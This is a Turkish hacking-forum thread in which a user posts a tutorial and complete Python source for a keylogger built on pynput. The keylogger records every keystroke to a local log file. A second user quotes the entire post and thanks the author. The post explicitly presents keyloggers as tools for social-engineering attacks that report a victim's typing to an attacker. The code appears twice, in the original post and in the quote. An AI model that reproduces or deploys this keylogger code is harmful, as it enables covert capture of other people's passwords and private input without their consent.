Python İle Keylogger

Venom.20

Katılımcı Üye
11 Şub 2023
588
376
𝐋𝐢𝐧𝐮𝐱

Merhaba Arkadaşlar Ben Venom.20

Bu Konumuzda Python İle Bir Keylogger Kodlayacağız.


Not: Bu Keylogger Elbette Detaylandırılıp Daha da geliştirilebilir.

İlk Olarak Keylogger Nedir? Bi Bakalım

Keylogger aslında bi tuş kaydedicidir, yani sizin bilgisayarınız üzerinde kullanığınız tuşları algılayıp size bildiren bir yazılımdır.

Genellikle Sosyal Mühendislik Saldırıylarıyla Kullanılır. Örnek Vermek gerekirse Bir Sistemde Keylogger dediğimiz yazılımlar çalışırsa, Kullanıcı Herhangi bir yazı yazdığında karakter girdiğinde Saldırgana bildirilir. Buna Enter Tuşu, Boşluk Tuşu ve Silme Tuşu gibi haraketlerde dahil olabilmektedir.



Hadi Gelin Bizim Keyloggerımıza Bakalım

KODLAR


Python:
import pynput

from pynput.keyboard import Key,Listener

count = 0
keys = []

def on_press(key):
    global count,keys
    count += 1
    print("{0} pressed".format(key))
    keys.append(key)

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

def write_file(keys):
    with open("log.txt" , "a" , encoding="utf-8") as file:
        for key in keys:

            k = str(key).replace("'", "")
            if k.find("space") > 0:
                file.write("\n")
            elif k.find("Key") == -1:
                file.write(k)


def on_release(key):
    if key == Key.esc:
        print("exit")
        return False


with Listener(on_press = on_press, on_release = on_release) as listener:
    listener.join()

Not: pynput modülü kullanılmaktadır. Kodları Çalıştırmak isterseniz ilk olarak modül kurulumunu yapın.

Kod Editörümüzde Kodumu Çalıştıralım

Ben Visual Studio Code Kullanıyorum kodlamaları da Bu Editör üzerinden yaptım. Fakat siz Python Programlama Dilini Destekleyen Herhangi bir Editör Üzerinden de Yapabilirsiniz.

ig338ha.PNG


Gördüğümüz gibi Terminal Açıldı.

Şimdi Tarayıcı Üzerinde Arama Yaparak Test Edelim

Not: Tarayıcı Olmak Zorunda Değil herhangi farklı şeylerde olabilir yeter ki tuşları kullanın.

9mpkfcg.PNG


Örnek Olarak "turkhackteam" yazalım ve

svdwc41.PNG


Gördüğümüz gibi Enter da dahil olmak üzere bütün tuş hareketlerini bize bildirdi.

307ycd6.gif
 
Son düzenleme:

BlackExile

Yeni üye
11 Nis 2021
4
3
Moscow

Merhaba Arkadaşlar Ben Venom.20

Bu Konumuzda Python İle Bir Keylogger Kodlayacağız.


Not: Bu Keylogger Elbette Detaylandırılıp Daha da geliştirilebilir.

İlk Olarak Keylogger Nedir? Bi Bakalım

Keylogger aslında bi tuş kaydedicidir, yani sizin bilgisayarınız üzerinde kullanığınız tuşları algılayıp size bildiren bir yazılımdır.

Genellikle Sosyal Mühendislik Saldırıylarıyla Kullanılır. Örnek Vermek gerekirse Bir Sistemde Keylogger dediğimiz yazılımlar çalışırsa, Kullanıcı Herhangi bir yazı yazdığında karakter girdiğinde Saldırgana bildirilir. Buna Enter Tuşu, Boşluk Tuşu ve Silme Tuşu gibi haraketlerde dahil olabilmektedir.



Hadi Gelin Bizim Keyloggerımıza Bakalım

KODLAR


Python:
import pynput

from pynput.keyboard import Key,Listener

count = 0
keys = []

def on_press(key):
    global count,keys
    count += 1
    print("{0} pressed".format(key))
    keys.append(key)

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

def write_file(keys):
    with open("log.txt" , "a" , encoding="utf-8") as file:
        for key in keys:

            k = str(key).replace("'", "")
            if k.find("space") > 0:
                file.write("\n")
            elif k.find("Key") == -1:
                file.write(k)


def on_release(key):
    if key == Key.esc:
        print("exit")
        return False


with Listener(on_press = on_press, on_release = on_release) as listener:
    listener.join()

Not: pynput modülü kullanılmaktadır. Kodları Çalıştırmak istersenin ilk olarak modül kurulumunu yapın.

Kod Editörümüzde Kodumu Çalıştıralım

Ben Visual Studio Code Kullanıyorum kodlamaları da Bu Editör üzerinden yaptım. Fakat siz Python Programlama Dilini Destekleyen Herhangi bir Editör Üzerinden de Yapabilirsiniz.

ig338ha.PNG


Gördüğümüz gibi Terminal Açıldı.

Şimdi Tarayıcı Üzerinde Arama Yaparak Test Edelim

Not: Tarayıcı Olmak Zorunda Değil herhangi farklı şeylerde olabilir yeter ki tuşları kullanın.

9mpkfcg.PNG


Örnek Olarak "turkhackteam" yazalım ve

svdwc41.PNG


Ve Gördüğümüz gibi Enter da dahil olmak üzere bütün tuş hareketlerini bize bildirdi.


307ycd6.gif
eline sağlık
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.